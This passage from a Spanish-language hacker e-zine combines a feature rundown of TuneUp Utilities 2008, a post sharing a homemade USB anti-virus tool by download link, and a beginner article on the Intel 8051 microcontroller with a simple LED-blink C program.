sistema cuando quiera y de manera totalmente
automtica.



Limpie el sistema y tngalo listo siempre con un
slo clic

Limpie el PC con un slo clic
Solucione los problemas del registro
Consiga ms espacio en el disco
Optimice el rendimiento de los discos duros
gracias a la desfragmentacin

Solucin de problemas


Archivos defectuosos, prdida de datos, fallos generales
de software, errores de representacin: no deje que
vaya a ms.
Mantenga siempre el ncleo de su PC en buen estado y
preocpese de optimizar el rendimiento del equipo.
Prevenga la prdida de datos y recupere archivos
eliminados accidentalmente.
TuneUp Utilities 2008 le ayuda a solucionar ese y
otros problemas de su PC con slo unos pocos clics.



Detectar y solucionar errores de los soportes de
datos



Localiza y corrige errores del sistema de
archivos
Recuperar la informacin de los sectores
daados de los soportes
Previene la prdida de datos


Solucin fcil de problemas de Windows

Soluciona problemas frecuentes en Windows
Repara, entre otros, errores de representacin,
como la desaparicin de los iconos "Papelera de
reciclaje" o "Mi PC" del escritorio

Restauracin de archivos eliminados

Restaura los archivos ya borrados de la
papelera de reciclaje
Recupera archivos eliminados accidentalmente
de unidades USB y cmaras digitales


Razones para usar TuneUp 2008 CUH e-zine 4 edicin




Personalizar Windows
Quiere pasar en pocos minutos del diseo estndar a
un estilo propio?
Hasta qu punto quiere un Windows a su medida? Con
TuneUp Utilities 2008 no hay problema.

Marque la pauta y dle a Windows su toque personal.
Adapte su PC a sus propias necesidades.
Dispone de ms de 400 opciones para y ajustar la
apariencia y la forma de trabajar de Windows. Y todo
ello, naturalmente, con Windows Vista.

Configurar Windows por completo

Adaptar Windows a sus necesidades personales
Estacin de control central con ms de 400
opciones para ajustar el men Inicio, la barra
de tareas, la configuracin de Internet, adems
de las opciones de privacidad, animaciones,
efectos y mucho ms.

Su propia configuracin de Windows

Permite personalizar el aspecto de ventanas y
botones
Configura la pantalla de inicio
Permite modificar el inicio de sesin del usuario



Ms herramientas

Quiere ms? Gracias a nuestras herramientas para
expertos, tiene la posibilidad de profundizar en
Windows.
Supervisar y controlar los procesos activos. Analice el
uso del sistema y de la memoria RAM, adems de la
velocidad de transmisin de datos de Internet. Corrija
la configuracin del registro o elimine de forma
definitiva datos confidenciales.

Desinstalacin de software a fondo

Muestra la cantidad de memoria que ocupan las
aplicaciones instaladas
Desinstala de forma rpida y sencilla
aplicaciones innecesarias
Elimina las entradas de desinstalaciones
innecesarias

Supervisin del sistema de forma resumida

Proporciona un resumen detallado de los
programas y procesos activos, adems de los
archivos abiertos
Finaliza aplicaciones y procesos con rapidez y
sin retardo
Le ofrece un resumen de los valores de
rendimiento del sistema



Edicin cmoda del registro

Realice modificaciones manuales en el registro
Admite marcadores y almacena el desarrollo de
todas las claves consultadas
Ofrece una rpida y extensa funcin de
bsqueda que muestra un listado de todas los
resultados
Asegura de forma automtica todas las
modificaciones en TuneUp Rescue Center y
permite deshacerlas.

Destruir datos de forma segura

Elimina informacin confidencial de manera que
nadie pueda restaurarlas
Permite
eliminar de forma segura mediante distintos
mtodos como, por ejemplo,
segn el procedimiento del Departamento de
defensa de EE. UU.

Averigua informacin detallada sobre el sistema

Ofrece informacin y hechos detallados sobre
Windows y el hardware utilizado
Razones para usar TuneUp 2008 CUH e-zine 4 edicin


Muestra el uso que se hace del sistema y de la
memoria RAM, as como la velocidad de
transmisin de datos de Internet y de la red

Por ultimo vamos a ver como deberiamos tener
configurado el TuneUp Utilities 2008 ( esta
configuracion es personal, cada uno pone lo que mas le
interesa )














Esto es todo, solo un pequeo aporte a este gran
programa y a la comunidad de el Hacker.com CUH ,
casi se le podria llamar TODO EN UNO

SALU2
Centinel USB Protector CUH e-zine 4 edicin





Les dejo una pequea aplicacin que protege de
virus tus unidades extraibles y por ende al pc que
lo use, la aplicacin consta de una interfaz y de
una pequea barra que se puede desplazar al
lugar deseado, es una versin de prueba por el
momento pruebenla y me dicen como les va,
deben leer el leeme que hay en el .rar, ali explica
algunas cosillas, ya que necesito saber de los
fallos para corregirlos, espero que les guste!

Screenshots:


























By Aleks
Aqu tienen el enlace para descargarlo:
http://rapidshare.com/files/132059297/Centinel_Final.rar.html
Microcontroladores CUH e-zine 4 edicin




Hola, como han estado?

Luego de haber visto juntos las bases de la electrnica
y los componentes bsicos de todo circuito vamos
ahora a dar un salto, una bastante largo, y vamos a
empezar a hablar de los microcontroladores.

En un curso completo de electrnica deberamos antes
de llegar a este tema pasar por todos los tema de
transistores, diodos y dems.... Pero eso nos llevara
mucho tiempo!!! Y adems los aburrira. Con la teora
que ya tenemos ser suficiente como para empezar a
darle un vistazo a lo que es la electrnica que se usa
hoy en da en todos los equipos que nos rodean, lo que
nos haga falta, lo aprenderemos sobre la marcha.

El Microcontrolador:

El microcontrolador no es ni mas ni menos que una
computadora en miniatura, es decir, dentro de un
encapsulado plstico tenemos un microprocesador
(como el de una PC pero menos potente), memoria,
puertos de entrada y salida, timer y otros circuitos
auxiliares.

Donde hay microcontroladores?, bueno, en realidad
deberamos tratar de encontrar donde no los hay. Hoy
en da estn en todos lados, Lavarropas, Celulares,
Automviles, todo lo que tiene electrnica hoy en da
tiene un microcontrolador de algn grado de
complejidad.... Inclusive los casi para nada complejos,
ya que con un micro pueden reemplazar un mayor
numero de componentes y abaratar costos.

El microcontrolador mas antiguo de uso masivo y cuyos
clones continan en produccin hoy en da fue el Intel
8051, es un descendiente directo de la familia del 8088
y lo que se logro en el fue incorporar en un solo
encapsulado el microprocesador, su lgica de control,
memoria ROM y RAM y puertos paralelos de 8 bits
adems de un puerto serie.






Microcontroladores CUH e-zine 4 edicin

En el diagrama podemos ver todos los pines que posee
este micro en particular para su interconexin con el
exterior.

Los pines marcados como P0.X, P1.X, P2.X, P3.X son
los puertos paralelos, estos pueden ser comandados
individualmente y nos permiten activar
independientemente cualquiera de los pines. Estos
tambin pueden funcionar como entradas.

Si miramos con atencin podremos ver que la mayora
de los pines PX.X tienen adems una funcin
alternativa que da otro nombre al pin. Por ejemplo el El
P0 puede funcionar como lneas de datos y de address
(multiplexado, es decir alternando una funcin y la
otra) para direccionar una memoria externa. El P2 nos
da mas lneas de direccin para lograr direccionar 64k
de memoria externa.

En el resto de los pines podemos ver los que permiten
conectar el crista para el clock, los RxD y TxD del
puerto serie, interrupciones, reset, etc. Adems claro
de los Vcc y Vss para a alimentacin.

Veamos un ejemplo super-bsico, en el cual podremos
constatar cuanto simplifica un microcontrolador un
diseo electrnico.




Este circuito nos permite controlar el encendido y
apagado de un LED, el PIN RST se conectara a GND, el
negativo de la fuente de alimentacin y cuando
queremos resetear el micro, conectamos ese mismo pin
a Vcc (+5V)

Lgicamente ahora llega la pregunta esperada Como
hacemos para que el microcontrolador haga lo que yo
necesito? Y la respuesta es una simple y divertida
palabra programndolo!




En un principio, los microcontroladores se programaban
solo en assembler, lo cual, si bien era un mucho ms
simple que el del 8088 por ejemplo, no dejaba de ser
algo complicado.

Para nuestra fortuna hoy en da contamos con
compiladores de C para casi todos los micros. Incluido
claro el 8051, entonces, y solo a modo de muestra de
lo que estamos hablando, vemos el programa en C que
har parpadear el led del circuito anterior:

#pragma SMALL DB OE
#include <reg51.h>

sbit light = P2^0; /* definimos a que pin de que
puerto equivale light */

/* Funcion Delay */
void delay(void){
int i, j;
for(i=0; i<1000; i++){ /* dos ciclos for anidados
*/
for(j=0; j<100; j++){ /* para aumentar el
delay */
i=i+0;
}
}
}

void main(void){
while(1){
light=0; /* enciende led */
delay(); /* ejecuta el delay para que el ojo
pueda percibir el parpadeo */
light=1; /* apaga el led */
delay();
}
}


Bueno, por esta entrega es suficiente, ya tienen en
mente de que se trata esto de los microcontroladores y
un ejemplo bsico de cmo usarlos. En prximas
entregas veremos microcontroladores ms fciles de
encontrar hoy en da en los comercios y que nos
permitir ir subiendo en complejidad los ejemplos.

Gracias por vuestra atencin!!!

Elektro

También podría gustarte